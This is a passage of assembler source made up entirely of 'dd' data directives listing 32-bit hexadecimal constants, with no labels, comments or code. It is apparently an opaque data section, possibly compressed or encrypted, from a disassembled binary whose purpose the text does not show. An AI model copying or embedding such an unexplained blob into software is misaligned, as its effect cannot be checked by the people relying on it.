0FB490063h, 0FCACA058h dd 0B8507459h, 0B7D184Ch, 0C4C188BFh, 0C573AC13h, 0C0838408h dd 8CAD4D51h, 0D8224446h, 4EE9E401h, 8CF2699Fh, 70F9E840h dd 0FF9E166Bh, 0C9AC1815h, 0E892A627h, 6E2610E8h, 8008B57h dd 599C99B7h, 46030084h, 0F5776365h, 0DCB1A6DAh, 88B7F702h dd 8C8400D0h, 6050963Bh, 590007DCh, 0DD90BAB6h, 908A3137h dd 0D16101C4h, 5B758CBDh, 0A0E047F0h, 11E3EA03h, 0A400C441h dd 0C35A0137h, 0F491BB30h, 209903E9h, 58CE6DCh, 3C84B79Ch dd 3508EB6h, 19B7B990h, 6BF80BA2h, 780261FDh, 920BF3A9h dd 2AA38074h, 0BC383Eh, 0DCC90360h, 0F8AA9C70h, 51B6FB30h dd 7492261h, 802AC2CFh, 0E9077084h, 0D2020AC7h, 1802FB55h dd 87AC84FDh, 0D9F0B05Eh, 8F2085EBh, 0A320C8C0h, 6B8E89h dd 0DD981F6Ch, 92A0A1ACh, 94B98043h, 23F83A17h, 1BF6008Bh dd 0D88AC815h, 0D8A5DA29h, 0E90ABF16h, 5902800Ch, 5258656Fh dd 1B146E8h, 61BF067Fh, 0D0CE176h, 13771D88h, 47A6A06h dd 410F1004h, 303748FAh, 58300835h, 521C8C80h, 0CC7E8C4Dh dd 4ACDE068h, 999A0B4Dh, 4024589Eh, 0E0041240h, 0D5010728h dd 0B8948957h, 0CE810018h, 5939D33Dh, 249D722h, 21766080h dd 0F84540E2h, 0F160C9E4h, 57003F31h, 0E2F0178Ch, 9921634Dh dd 39ECAC50h, 59FA331Fh, 421F793Ah, 6930B3A4h, 61C11106h dd 830F88A6h, 1D06813Bh, 57F93788h, 95D56F03h, 0A0E5FABFh dd 610DE37Fh, 0C66099C8h, 1DE02099h, 6960E01h, 0C56A5CF1h dd 743420A4h, 6E0C3746h, 0E7D92A89h, 23A8014Dh, 66AF01B6h dd 188A1B4Fh, 76CD8845h, 0C1326600h, 78A6C8C3h, 0B0A2B853h dd 6038A238h, 7779AD1Ch, 99D80304h, 659B7189h, 0D58C1804h dd 8C91ECC0h, 0F4622B06h, 3B005A3Eh, 0D4FE3FEEh, 4A091973h dd 817B1EF3h, 29DA63C0h, 479BAD00h, 80E95F25h, 0ED9EF808h dd 16E702AFh, 8E653A06h, 71207452h, 7F5900F5h, 8E4DADFh dd 0AE1EFD33h, 74577797h, 93C67040h, 53767AABh, 0E4842037h dd 0FC0864AFh, 685C077h, 8646619Dh, 37001022h, 0CC95067Dh dd 12FAE8ABh, 81CD0FF9h, 2D2CA690h, 52900034h, 0E5D28C8Dh dd 0FAFF0025h, 555A2E13h, 8E28A373h, 0A8129CCAh, 5704035Fh dd 40A04501h, 40989E4Ah, 0A8154D77h, 476C2807h, 0A07FF9B0h dd 6BC4C02Bh, 40B56038h, 4C79C58Bh, 546E1C00h, 0FA484480h dd 0A1309084h, 9C10C144h, 881B9EA4h, 1161AA6Bh, 18F00C20h dd 0BB190B1Eh, 0CDBA0E4Bh, 0F121607Fh, 248780AFh, 0E600271Ch dd 0B039848Fh, 4894F9Ch, 0DF5FD512h, 0AE04E01Ch, 505AF22Eh dd 0A33C1440h, 32940180h, 595DA422h, 0DC0425D7h, 0EA0F35B8h dd 851BE26Bh, 0C00BCCFh, 80B5B7Eh, 50A14CE4h, 27944900h dd 0CC48E63h, 0DF277575h, 0EB780201h, 7FA60113h, 0FD40308Ch dd 91F4340h, 0B5573ED5h, 2579F040h, 336DCE02h, 9087DB89h dd 59DFE1ECh, 1D1388B4h, 936C2004h, 7316E46Fh, 0ED1F08C9h dd 34EA63C0h, 66A0D761h, 507C310Dh, 5F362B07h, 0B6B0784Dh dd 5F98Dh, 0CEDBA09Bh, 0B9DC53E6h, 0BCC4E800h, 702601B5h dd 47700AAh, 53D68A8Dh, 0F2008531h, 0D16015AEh, 0A45B507h dd 93593749h, 0C57A03AFh, 0D4A83D64h, 3A38631Fh, 0C17900F5h dd 9912F62Fh, 451A00FEh, 0EF47D6A8h, 5C079B63h, 64AF7B04h dd 3913A240h, 80F50021h, 833BA8EEh, 0C500BDC4h, 0F109D253h dd 76333Fh, 74DB34F9h, 3C379069h, 0DFD7A500h, 83B891AFh dd 0B4F80055h, 0FC8AFF68h, 3400261Ah, 53A9B984h, 344186Bh dd 5A2B57C3h, 71B032C9h, 9F60549Ah, 0DE8079FEh, 0A3241E37h dd 835D4768h, 0EB31A1B1h, 60ADE56Dh, 0E0004BBCh, 7A247FF3h dd 2CA59Dh, 0BD15C5A3h, 0FC9125B5h, 91AC600h, 0D9D5549Ch dd 14580650h, 59F26703h, 92A28500h, 363A5B51h, 0EE8F2809h dd 0BF18C1ACh, 10694CD4h, 31D38FCh, 11C9485Dh, 4A80F7B3h dd 453CFEF5h, 0B1ECE008h, 77BD828h, 0A5B60C63h, 9065960Fh dd 0D13E0B00h, 0F828C34Dh, 0AB2A0002h, 971F9BD0h, 0CEE00F8Ah dd 86571103h, 0A0EFFCC9h, 4C506B01h, 0CA0054F0h, 5FD8449h dd 2903DD41h, 1B57E5BAh, 0E424B8A2h, 985F078Dh, 31AE8881h dd 0F0B082C6h, 5D0119A6h, 85020ECAh, 0F420C752h, 0A5EA2Eh dd 2D0ACE8Eh, 95DC197Bh, 0C6828B00h, 0E5DD3A65h, 46FA00F0h dd 0F29E5CF6h, 7B090B7Fh, 80B2EC6Ch, 0EFD212BAh, 0B8410244h dd 3EE80740h, 52CB80A0h, 0E300CFFEh, 17F5A2B5h, 6924395h dd 302774D4h, 600020B7h, 1A4829C5h, 1EA7A973h, 4B9D90E9h dd 0E681DD7Fh, 8012E30Ah, 5AB18C50h, 728C983h, 0E889738Dh dd 58F4F06Dh, 811578B6h, 7D0171Bh, 0ECCF2AAAh, 0C80C7E4h dd 0C057A5h, 9A8165B5h, 4DBFB952h, 44166D00h, 7750758Dh dd 27FAD7h, 0E8DBA469h, 450207F8h, 0B5D67203h, 0E990EA76h dd 0AE11B6Bh, 627E9083h, 8DE01A9Fh, 660CAF1h, 5F49FC30h dd 9B6800DEh, 1EB5EC27h, 1400CC3Bh, 667819DAh, 1FCA0E89h dd 833152h, 4503DF84h, 170092EFh, 27BBF9BDh, 0D5636Dh dd 1EADA307h, 0D2755B84h, 0E109E8FDh, 0B40033E8h, 0DF6C792h dd 7074DABh, 3B200491h, 0F546B0E4h, 0F0C08B9Bh, 5831F215h dd 0A4CD54FCh, 0EB5B00BEh, 49050C88h, 0EC04E744h, 0CF0618DDh dd 7F628490h, 0D03400A7h, 0EBD157FEh, 29005ECAh, 0F26DD481h dd 32574BAh, 2A6EE690h, 0A1E84CDEh, 50E9497Fh, 0C53094C0h dd 43E740EBh, 9330B1BBh, 58C4E85Fh, 2DE2026Ah, 4AF54404h dd 0FF15CCA0h, 31002674h, 712E1EF2h, 10A40F8h, 9D3FCA7Bh dd 800FCBA1h, 0EA480CC0h, 31936106h, 0DF59343Ch, 0D3AAEC42h dd 0DBF88400h, 9D682FE6h, 1202F2BFh, 0F2046B7h, 0FCE0FE4Dh dd 9363A647h, 8019BB00h, 0AA3A13D4h, 0C9D485Dh, 442B4680h dd 0CB13A588h, 0E400868Ah, 0A0B59C3Dh, 14CD2E5Ch, 0AFC70059h dd 3844E06Ch, 0F02A58h dd 61421AADh, 7B38417h, 9E995AFCh, 5FFB20D3h, 0EE0348DCh dd 7FCCAD50h, 1E7DA831h, 9AF100AEh, 2652FB88h, 0F5000C85h dd 96E83CBFh, 0EE73482Fh, 355500ACh, 8D53C616h, 0DD003E2Bh dd 0C861A4D2h, 7BDB9525h, 862800F1h, 0FDDAB56Fh, 0BE48129Ch dd 144B00B8h, 0E7E1240Ch, 22263F38h, 7D425C80h, 9E67EE33h dd 56743Ch, 449085B5h, 26D384E0h, 0E9DB86Fh, 0B3406102h dd 0D5A8AA7Ah, 74ACF300h, 0E7DF892Ch, 85F6D8h, 67419392h dd 63C20D82h, 0CD286A7Bh, 5F1DECB2h, 3600B612h, 6FD90ED7h dd 1C700B9h, 0EE67B31Ah, 74008EF5h, 0D486F853h, 509A2E21h dd 8BC7Ch, 0BA042709h, 924A29B9h, 0C3BE1000h, 0EFC95DF7h dd 171002Ah, 2236F8A7h, 753A5829h, 8950046h, 514B1205h dd 0C17E4868h, 10899A00h, 22BB0C6Dh, 0ABBCBD00h, 5BAD0AF2h dd 0A86800EDh, 1CE35231h, 0BE00FA46h, 0A4CE720Fh, 7E9C91Eh dd 0DCF2391Fh, 978EE00Ah, 0EAF8EEA9h, 3822D900h, 29371455h dd 0D86A1264h, 676840AEh, 9E4226C1h, 76E7E400h, 85F6CEBh dd 1DE07FBh, 0A306B310h, 2000A2FFh, 0CA9CD89Ah, 0CE492Fh dd 61841187h, 88A1B8B6h, 7A48A001h, 24234504h, 0B4245AE5h dd 0C94E0111h, 2B2A4DECh, 0FCE024ADh, 0FED22204h, 32833663h dd 518DE18h, 5E85ADCBh, 77449012h, 75180841h, 0B220A260h dd 25D701AFh, 0CD392250h, 0B870248Ch, 0DC80461Ch, 0CC1BD4h dd 0BD73439Ch, 0DA580Ch, 4E931DE6h, 5D8AD15Ch, 8F07B2F8h dd 61C57983h, 0D38B6900h, 0A1231C3h, 0D49CFF30h, 0CA1F9320h dd 22C761C0h, 0BE69444h, 16E90020h, 0FE7CCFA7h, 95007706h dd 141BCA4Dh, 0A1D0CD30h, 0F03AC9F0h, 4474991Fh, 0B8872100h dd 4F3DB136h, 8C68C7DBh, 0C7A49E7Dh, 5A548078h, 8D037050h dd 7EAAB2Eh, 0D5ACD0D0h, 43B13972h, 8C186F80h, 0E6A8C39Dh dd 8E24AB00h, 2E936ACAh, 755C07FAh, 0A0EDA992h, 54236FDCh dd 9EC47200h, 0ECB04B2Fh, 0F5B40071h, 996EAA5Bh, 0BD073A5Eh dd 0B8AEE7C7h, 4F6634C0h, 0CDB00007h, 20FEE1EFh, 5A1CAD49h dd 0A347904Bh, 18A20621h, 4FA5600Fh, 362C023Fh, 8AF6B610h dd 6D727C0h, 0F695F3Ah, 0EC28780h, 0E97A003Ch, 0A046B21Ah dd 0E6627788h, 767400D6h, 1E33BE90h, 37000116h, 9A537EA6h dd 8389BCh, 0B65BACCAh, 12A2FEDDh, 8024EB00h, 45BEBA1Fh dd 0FB5F2F3h, 0B103D573h, 23584800h, 3309639Ch, 2098E055h dd 0D141F720h, 12C50053h, 8C768459h, 8901B827h, 56E26178h dd 49F8D503h, 986A009Bh, 0B0971C40h, 141FC319h, 0C5850AD3h dd 12C0D943h, 0B031EA72h, 7836009Fh, 0C832A1E9h, 0A890BCB9h dd 0B4513817h, 6BF83B00h, 283B3E76h, 1810C631h, 99B45396h dd 0D92E5118h, 0DA0EF7A0h, 96A88289h, 34108019h, 735BA10h dd 37F2E9ACh, 4C1E417Ch, 0A438017Eh, 9EDCF0h, 0C5E6F9C4h dd 4E96ACE8h, 0F1624700h, 0B50F3299h, 89FE13h, 8D6E503Eh dd 65B0DB3Bh, 9306FCF0h, 0B3F8B942h, 6C6E7871h, 0B46021A1h dd 0D48FE900h, 0E3B1D094h, 703EC70h, 0BD8E32B5h, 551E1191h dd 0ED988372h, 0B543B737h, 5A2009h, 99843D05h, 0EC140761h dd 5A965D94h, 63BA0070h, 0E9B5C7AEh, 3C58AD00h, 7E06AE2h dd 8573F3h, 0DAE3284Dh, 2014C6B3h, 2EDC4200h, 0AE6A13F1h dd 0E4C400D7h, 9129DEB9h, 0FA7FCB37h, 0FA80900h, 6345C097h dd 0A5FC03D1h, 1249AB6Dh, 0D388A2BBh, 0A40057DAh, 0E3DB1BCBh dd 1FBC781h, 0CC6FFA5Eh, 0DC19878Ah, 0CB58140Ah, 9FEA00D2h dd 0F5E8B526h, 87CA0069h, 0AB90F1D4h, 2B00D862h, 6403FBF4h dd 71BE4B82h, 0A03800E5h, 0BA1DAA2Fh, 0DE004260h, 14A2CE45h dd 7F331A5h, 7CE5DA2Ch, 0C0A9670Ch, 0B72786C0h, 0A305FCEAh dd 0DCD76AD9h, 0E8623680h, 0EE1D00D6h, 793BB3Eh, 8524BD18h dd 404E280Dh, 3E5AF4A4h, 9990C9Ch, 0AF089497h, 0AD5521C0h dd 0FD40F4h, 73E07844h, 0DBEE7A9Fh, 790B70Fh, 55D2C024h dd 0B19ED4h, 9CA3428Bh, 1D37C344h, 0DE15CE00h, 1B3A2CB6h dd 6C18C590h, 97E00050h, 0D99DB2B5h, 69DDF8A8h, 37EEC800h dd 3FBAE95Ch, 0E508CC74h, 82038021h, 0A7857CC8h, 4D5AA12Fh dd 0C7DA3220h, 4237BD21h, 484414F3h, 785F9500h, 0DAD91A9Dh dd 0EBBB90D8h, 2180A7D1h, 0A2787773h, 0CE065096h, 170723BCh dd 152B03B0h, 1609BDAFh, 0E745B598h, 0EA6A191Ch, 420C7864h dd 0C71A08F9h, 0E03B548h, 6E98E2C0h, 9D984EFFh, 2F074070h dd 5A43BCD5h, 0F0B6DDE0h, 0C107283Bh, 25713B84h, 0BE7019ECh dd 0B2464318h, 150D629h, 0E28C1EE4h, 0C26C0DC1h, 9D8B48E0h dd 7506EA00h, 89D97947h, 1CC7FF2h, 73A9D47Dh, 0E098D13Eh dd 0DF072BAEh, 0F47B0417h, 0DA6A83C0h, 1E950CEFh, 0A820BFAFh dd 1021D801h, 3792DB1Ah, 77507AECh, 59520053h, 34711FFFh dd 30C0E5C5h, 7B3F9891h, 0BE323C0Ch, 6D5FD80Ch, 2A306E69h dd 3BA129C2h, 0ECE4F50Eh, 91F70059h, 0D7A35DFBh, 63036E01h dd 2F29260Ch, 9D02033Fh, 0BFA43E31h, 1A24380Fh, 90A70003h dd 61946Eh, 7BFD062Dh, 7E60F3F2h, 0D300877Fh, 0AB8EDD96h dd 1C1C36Ah, 0BD39BB56h, 0D42809E2h, 4226EABEh, 0B4007776h dd 2FB01299h, 6A0D00CCh, 3EC2AB01h, 0C0062C37h, 0E0F13171h dd 75427FB8h, 0BAC81CEFh, 0C0D8B70Ch, 0E975B19Ch, 0DC5D2900h dd 97B61344h, 0EA01FE71h, 24A400EFh, 5A1F8BC0h, 430094FBh dd 6D250D6Eh, 0CC3FA9h, 11308ED2h, 0C8DD9DF5h, 7E098B02h dd 0E051EA83h, 15CAD47h, 158ECFFBh, 0D187EC03h, 0DF21818Ch dd 7FB7ADA1h, 0D0E058C9h, 0EE7C50h, 5F8A8382h, 64CFC541h dd 67C79E0Ch, 67010854h, 90302052h, 80EBFC41h, 0D533CC0Dh dd 0E02B1853h, 0F060AA29h, 0E2620649h, 11FC6035h, 63616A46h dd 6D76871Eh, 16F56500h, 0B0A9ABh, 0AF8EC7FCh, 17529C7Fh dd 0CB7151C0h, 6ABC907h, 0D0EF0CD3h, 246008BBh, 7D49021h dd 0B0B79876h, 455207BDh, 0FBB0D01Ch, 0CF87C48Eh, 50BA68h dd 9F22E103h, 423DABDBh, 0AF288113h, 37A9AD6Ah, 0C863C4h dd 0FCB45FB7h, 164E8F0Fh, 82982F50h, 3A703218h, 63015249h dd 0E8EB19C8h, 81D3E138h, 5AD1BA58h, 7C40347Ch, 0E40A306Bh dd 0E07101DEh, 0F79CFC4h, 0F74DCCDFh, 1849DD68h, 62104E83h dd 2566F8B6h, 0B08008Fh, 96A7A22Bh, 4009028h, 0F9837C23h dd 0C62CAF95h, 49E05B40h, 6EC52600h, 0B709A09Eh, 4F4E00CCh dd 0E9D75D7Dh, 430162EEh, 77D08571h, 0B2D060C7h, 0B35200E3h dd 0CA5FFF95h, 617C3ACDh, 0B140B801h, 621733E4h, 600800E3h dd 4E42A2CAh, 675332B3h, 44143A88h, 0A24224C5h, 18ED7448h dd 0AF6B001Eh, 3292353Bh, 30A9156Eh, 0EE7F102Ch, 31380194h dd 0C8D83489h, 9E34483Dh, 0FB5EAD08h, 0B6C1709Fh, 9546AD1Ch dd 0FF4054E4h, 503D08CEh, 0F232AC1Ch, 0FB3CA028h, 0C7A3882Dh dd 0BC48AB72h, 1D22398h, 0CFBB4279h, 881F1854h, 4100612Ah dd 219B2375h, 514E3B1Eh, 0F4C168FEh, 0F8DD8084h, 29670422h dd 0B97DD85Eh, 0B50111B0h, 0CFE0ADFDh, 0E0DFA778h, 0C0C75A61h dd 1242E349h, 0A0A095CAh, 9CCAC7Eh, 4321F7h, 0CC3C123Ah dd 0BA05D8D4h, 0E2F8D503h, 4DAF9Fh, 0E449DF71h, 29616459h dd 5B1A3A00h, 16186B12h, 26402EB0h, 46802013h, 427A02D1h dd 315CCF9Eh, 622D1026h, 35400041h, 0BB9416ADh, 0B180C50h dd 0A7927D9h, 4BCD00D4h dd 61982AF1h, 9E07C3A9h, 1D6027Bh, 71883D70h, 0F85150E7h dd 69048C44h, 17FB63ADh, 0BC246F62h, 40490880h, 0B1BF6F7Fh dd 53FAB180h, 8503B5C5h, 7AB43D55h, 8595D2C3h, 342FEAFFh dd 69008B23h, 305B8485h, 0F96800EFh, 0ACCA59C2h, 0CC75788Bh dd 1D454D00h, 3820A9D0h, 4F8A2F4h, 0C9604AE4h, 9510E511h dd 0FBC83473h, 120F40A6h, 0C7B18623h, 0DBD40068h, 0CAD5E362h dd 606A35E4h, 467454E9h, 2E267304h, 6B2858h, 0C489D69Bh dd 352100C3h, 0A739763Ch, 900B45Dh, 1C371EBBh, 99AF68C9h dd 0CC10008h, 5DF2D4B3h, 60E96A48h, 23534D19h, 0CC9124D2h dd 60A905A8h, 23802FCEh, 445B00E1h, 4696B0A1h, 0CAC15663h dd 871980BEh, 0BFDC001Ch, 68E9C455h, 0F905E5D5h, 0DD9CD06Ah dd 1900EC6Eh, 0A6AE1E52h, 6A5032ABh, 43DB168h, 0A4CD3A08h dd 5764A4C5h, 44D40EEAh, 3A879A20h, 0CD0165E1h, 0D5CEDFB3h dd 52DD6AE8h, 62EAB989h, 8C11381Dh, 0D7935D80h, 49C04ED9h dd 0AAFDFF7Dh, 30890066h, 0F82CE243h, 0D207FCCAh, 0E478C89Dh dd 0B064EA52h, 0EE11D3B8h, 35632195h, 128CF060h, 789DFA1Bh dd 919091D9h, 0ADC58040h, 8CB7FB5Fh, 0C08A44h, 0E15AAD9Dh dd 0DFEE28D1h, 6F040FEEh, 493BADAh, 4E674C8h, 4D15E56Eh dd 4E948191h, 0E0C4E633h, 78140401h, 31C19B5Ch, 93A17023h dd 0EC20C51h, 9C1D14E4h, 86852F83h, 321653F9h, 0FA341894h dd 0C8D331h, 9F4C24C7h, 722ED1D8h, 3E054979h, 0B80FDE7Eh dd 30B658C2h, 671107C9h, 3988E3ACh, 7D15683h, 0FF580193h dd 50E31B7Ch, 8704244Bh, 61621200h, 0AD79D5B6h, 0E19E0008h dd 0F115F50Ch, 73127C02h, 0B4308078h, 78DBD8Ch, 0D7E7E1CDh dd 0BFC270C9h, 0E30C4184h, 29266733h, 5866E2B1h, 20806CAFh dd 760FC846h, 17C6D707h, 0E976E318h, 29D46D0h, 0AC6607C8h dd 131D31CBh, 0F207C957h, 19525D0h, 4DD3386Bh, 509308E7h dd 69F164E8h, 0B3009A70h, 0A96BB22Fh, 0F8C6F8DFh, 0D32B71D2h dd 0F9B00329h, 11187ACFh, 0D1192A5Bh, 38351E20h, 0DAC4C00Bh dd 0E490ABB3h, 0B00A0F70h, 585BF37Fh, 6007CA81h, 1C18BBACh dd 3CF9188h, 6EA8F807h, 400043B0h, 507B80B4h, 1478A479h dd 84F50E01h, 0C701A023h, 0F3ABCD07h, 54881F18h, 0C00700AFh dd 2402B964h, 780C2B8Bh, 50F3B584h, 9E30EBFDh, 58AF4951h dd 21416887h, 329BACCFh, 203BCCC8h, 603D06ADh, 39F14695h dd 66A9CA04h, 28C3C7CCh, 0F89AA341h, 37B434DDh, 0F8685582h dd 694163C0h, 318446CFh, 4B3421FEh, 0B0CA8880h, 58E74001h dd 92472A03h, 0F0CCC05Ch, 7FA0E4B1h, 0ED190AC7h, 5E90AE76h dd 57001D46h, 1E157EC8h, 0B317EC02h, 760419FFh, 18880BC7h dd 586B0052h, 0AF43709Bh, 91005D2Dh, 9C46C06Fh, 720350D9h dd 0A84B1436h, 5C1280E2h, 71144115h, 0E43BA6CDh, 0BF09BDFAh dd 17AECC1Fh, 831E9110h, 0CBB31F67h, 0DFCBD056h, 2AB13AABh dd 8672929Ch, 31507832h, 8784B002h, 51D8298Eh, 188A7178h dd 5A27573h, 0AC967B29h, 0AFC845FAh, 0C59C204Fh, 0FD3A4814h dd 930813Ch, 0D1FA7FB2h, 3EE29848h, 449E67CEh, 5CD3C034h dd 0C7AC976Eh, 6046F498h, 0CB125F02h, 1C4395h, 0A51238ECh dd 352E3BBh, 3419DE67h, 3A482009h, 13518CEh, 13A2472Eh dd 0D1E009DFh, 0EA4DD856h, 24066F7Fh, 84CDFB07h, 354F18A1h dd 0A6A8D9F7h, 0A5C44807h, 7B30EFE3h, 43C6862h, 0EB4F40D7h dd 0C45C8B36h, 3F305288h, 0A5019831h, 0E307022Bh, 0E0EEAA01h dd 1B436B3h, 18A7AF50h, 0A4039592h, 5463A039h, 0C52490FCh dd 70B10707h, 1072E510h, 0ACC3DC34h, 0B095220Ch, 0E3A291F4h dd 302AF6F0h, 62E17B0Ch, 7D0F8FF1h, 20EE0FA1h, 4E52ADDCh dd 0A9323D8Eh, 73D8D055h, 787069h, 2AF99EE0h, 0D106A242h dd 86726F00h, 0C240B741h, 134D0077h, 0AC6802D6h, 0CD7DF748h dd 9E6D30C0h, 3050B15Fh, 0EA917233h, 2400FA9Bh, 45F94AD0h dd 3CDCFCC9h, 3C83D7AFh, 9BB8B572h, 2A188800h, 0AF67096h dd 73291C7Fh, 49F25A95h, 33E4FC80h, 30E3E3A9h, 0FA0F9A04h dd 3F4F9E22h, 7116D50Ch, 0CC2E3EC4h, 0BFDD0902h, 0E4C08442h dd 95005649h, 49C190Ch, 9E96E73h, 2A9CEE3h, 60CAB107h dd 0B442B63Dh, 1968CC61h, 3024F65Bh, 63E90039h, 3DDCA556h dd 0BA039354h, 4762C96Eh, 0A7128018h, 18FC504Dh, 0B9FD60EBh dd 8714EFBAh, 697A0907h, 0B0D0CD21h, 0CA6360A7h, 40F47BD0h dd 45B974D0h, 32909906h, 2A192170h, 0F8E49409h, 6ACC2EE6h dd 0AFB00C6h, 69C66EF5h, 0D4A0D103h, 0A0DEB1BEh, 779347D3h dd 335C30B9h, 0A5089491h, 2F8F9B00h, 93D5E80Bh, 0BDC0012Ch dd 48E2D874h, 3D5BC1B9h, 0DC3B0024h, 8AD3A934h, 3F790213h dd 0CDE66B16h, 25FAE460h, 48F57000h, 2460694h, 7D6E7C53h dd 882E0504h, 4FEDAE96h, 5946D580h, 0B9075932h, 6E34931Dh dd 5DC88FE0h, 0C6760084h, 0E218CDEFh, 0B2010FAFh, 671A0601h dd 0BC36BB2Dh, 0DAFA8600h, 8C8E3E5Dh, 0D6B9FE0Fh, 13B1C1ACh dd 6C205F65h, 609E0CE2h, 1B81F934h, 3B3B147Eh, 0B7FC0701h dd 87E3EAB3h, 0ADDDE8FFh, 7EEC01B0h, 5C7944A2h, 75A980F8h dd 7B50AC99h, 7FB54CB2h, 3126E905h, 95708834h, 0FEB75B1Fh dd 68012B12h, 0C2CDC605h, 2E18E2D0h, 4764B0EFh, 95FEB11Ah dd 0BAAACCCEh, 885CA629h, 0C62D202h, 0D73A408Fh, 56DE0036h dd 0A6505DE7h, 0CB605B65h, 0C7BAE329h, 208049Dh, 0C850C855h dd 2D007114h, 0CB5DAC5Ah, 0F468198Dh, 9D281E1Eh, 4EC6456h dd 0C0510ADDh, 76EB72BCh, 22E4B04Ch, 52FF0CF0h, 64693016h dd 4DE85407h, 1531C79Ah, 6825EB04h, 0CE00AC3Dh, 4F206BCCh dd 701F6AAFh, 29C0B626h, 2CFF6CF5h, 45CF1FF2h, 0B5E182C5h dd 144067D1h, 0CC2AFA1Ah, 5A58E47Fh, 8BAF8088h, 2067BCBh dd 0C6040C85h, 9CA04CD8h, 4FCD6D88h, 3B1D5673h, 7AC1D949h dd 35E50CBDh, 0C5913DF3h, 0FE3C0D01h, 3B8B3950h, 0A06947C6h dd 11E1DF08h, 1F135F3h, 33AC5CBAh, 0DC40F72Ch, 0CF7909AEh dd 0BBE7BC31h, 0F0D3D069h, 0D7E04F87h, 48B80E51h, 0CE00A228h dd 9E6C9C60h, 952DB90h, 0CAFCA319h, 7EBF0400h, 3318E9C9h dd 9BC91478h, 605BF649h, 22D99068h, 9D309EA1h, 0CFDD803Bh dd 67A30942h, 2400020Dh, 0C768B175h, 50E35E14h, 0AD6B1C5Ch dd 0E9AE9580h, 32D9603h, 42891AC7h, 0C100770Ch, 0EF8F34B9h dd 2CA7ECh, 65EE84A2h, 0D7AD01B3h, 0BFB18D02h, 60FAE4CBh dd 363A0h, 38B0BA6Ah, 910C430Fh, 398D49C0h, 0A3661437h dd 4007A8EAh, 16DF0729h, 50EA59DDh, 1FD9C731h, 0B1B70A01h dd 20D84CFDh, 8C4F180h, 0FE1CF099h, 0D7283D00h, 0A4F19FCCh dd 39717D27h, 7007F820h, 811DC506h, 32B1954Eh, 25522D98h dd 0E901D52Ch, 8C5D1326h, 160211D8h, 1F5EADE8h, 0E3E1C258h dd 6EE1FDC2h, 797C3030h, 52BE4902h, 72D89B2Dh, 4C467B5Ch dd 0C701B897h, 0DA099CCh, 3A7C80D2h, 16FA67F9h, 426B09A9h dd 4C20DC5Ah, 0D271FD92h, 47A8703h, 0ABA145FBh, 0C9B9B0C8h dd 80889196h, 0C18475A9h, 9400DA36h, 95A69911h, 3B8DB9Bh dd 61D8D092h, 0B9266C8h, 5C001C5Ah, 0BC8B45F7h, 0B04ABA1Ch dd 618D00E4h, 0A7B7BFCBh, 0D304ECF6h, 0A9CA48CEh, 0B539E97h dd 0C5413D78h, 34A38E80h, 0ED44AD67h, 0C2F9CD18h, 15292FEh dd 0D6D52EEEh, 0F4A92C32h dd 17038C1Fh, 67CA6AC6h, 0FB06C80Eh, 51716595h, 0E3F0B45Bh dd 9A85B800h, 41BEFB79h, 0C9880066h, 2D98BFD8h, 0A22CE91Dh dd 44281860h, 0B69168A8h, 36BFCC00h, 6732C6C8h, 945895h dd 0E6B3CA80h, 0D000FF25h, 6A7E374Eh, 0EBFCEDBh, 49AC8F76h dd 0C9DFA3C2h, 5EFD20C0h, 25C00F58h, 0D88823CFh, 220DD8EDh dd 0D90126E5h, 0A0244110h, 0D1E2C87Bh, 0AB8A3000h, 89F180E8h dd 0E49957h, 0D359BBECh, 290376ADh, 50344709h, 0E77E0168h dd 0C65FB18h, 63845095h, 0F300DC14h, 136AF408h, 27774F6h dd 0D6120B55h, 2C80581Bh, 0A8AC4739h, 0C2DBA200h, 0D0954538h dd 5CE9E62Ah, 0FE87BC08h, 548D0CBh, 0A21C6D66h, 970E4E2Dh dd 0D56802AEh, 0FF7CE117h, 160430h, 0FA714553h, 6801732Ah dd 44E2DD2Eh, 2F5B1204h, 4193DD5Dh, 25EB3991h, 303DC4FDh dd 16986C50h, 31CE88h, 49BF3C8h, 5B4BE9E8h, 0CD412E60h dd 2E900C09h, 201222h, 0FA9C1AA5h, 8712A045h, 0C4217996h dd 0F9104CAFh, 0AD003484h, 0B97DAAB2h, 1BBD965h, 0C3017AAEh dd 0FE91F62Ah, 0F925D4E4h, 86AC2194h, 6310F435h, 0E71491BDh dd 80900B75h, 0F94287C6h, 1D779044h, 5F4D04A0h, 0AF680957h dd 52C30490h, 0C9FA55F6h, 9C22CA0Eh, 0E060EC49h, 0D178144Dh dd 0E1299483h, 0D2FC16A4h, 20723444h, 0EBDA9300h, 92E1DCBAh dd 0DB91000Bh, 0C084722Bh, 1B0B57A5h, 0E850E9D3h, 3EA6BC70h dd 0E3801614h, 93B88C11h, 9D002AE2h, 12DC279Bh, 1AD4F5Fh dd 7ED5B6C1h, 0BD96048Ah, 20B8D9h, 1AD865A7h, 0F41371Eh dd 1C454E8Eh, 57802828h, 69EC0E4Fh, 2C707C87h, 248D042h dd 0D6336A62h, 3611480h, 350C31E8h, 105F69CBh, 94F751Dh dd 0B165D034h, 68B0F080h, 0D404CD4Eh, 0AFFA14C2h, 35EC8C8h dd 0DEE961DFh, 0C7DA666h, 2726B709h, 136B807Bh, 48F10102h dd 0B60EEC62h, 9D9DDF91h, 9F82E93h, 9064CEB3h, 7880AA0Fh dd 0E1842019h, 1CEF42DEh, 7A767A5Ch, 4E654D84h, 8848A8F9h dd 27026467h, 95E3A1C1h, 901044C6h, 105509E0h, 0C8100923h dd 0B10028CCh, 0B950A5FBh, 0B5399EBh, 92E2DF4Dh, 3C6F6880h dd 90914C20h, 80B14689h, 28FEDE19h, 0E4560253h, 7233C924h dd 0C3002864h, 77A731ADh, 0BBE6C296h, 6582C80h, 6093E4E5h dd 0C4296612h, 3C353400h, 18A12B31h, 28C57C5Bh, 30048DEBh dd 0CA4A2AF9h, 3AE2B8C0h, 96B10A15h, 16CE794h, 0F93F33D8h dd 0E4C76A8h, 21AE5C0Fh, 3567CF49h, 0CA013072h, 0D0DCC118h dd 4D30E4B1h, 8B439C01h, 145A7288h, 0E4CFA987h, 0E7EDA3A2h dd 6733CEB8h, 816D891h, 4D9E3420h, 302802B2h, 0FF78C22Fh dd 2D9BB8C0h, 67604EEEh, 0D782BD88h, 0CEF918A0h, 23313985h dd 783AD17Dh, 1DC2052Bh, 98C0A4ABh, 2D442D65h, 8AEB095h dd 46792A6Ch, 7E3BF000h, 96CDBE88h, 0C37402CCh, 0C5E3A2B1h dd 9DEA34FAh, 55347118h, 7CEEDD41h, 0D2840258h, 0EDE20FCh dd 8BB988C0h, 0DB650102h, 0F235D10Bh, 84C900A0h, 37D86679h dd 4809B4DDh, 691598h, 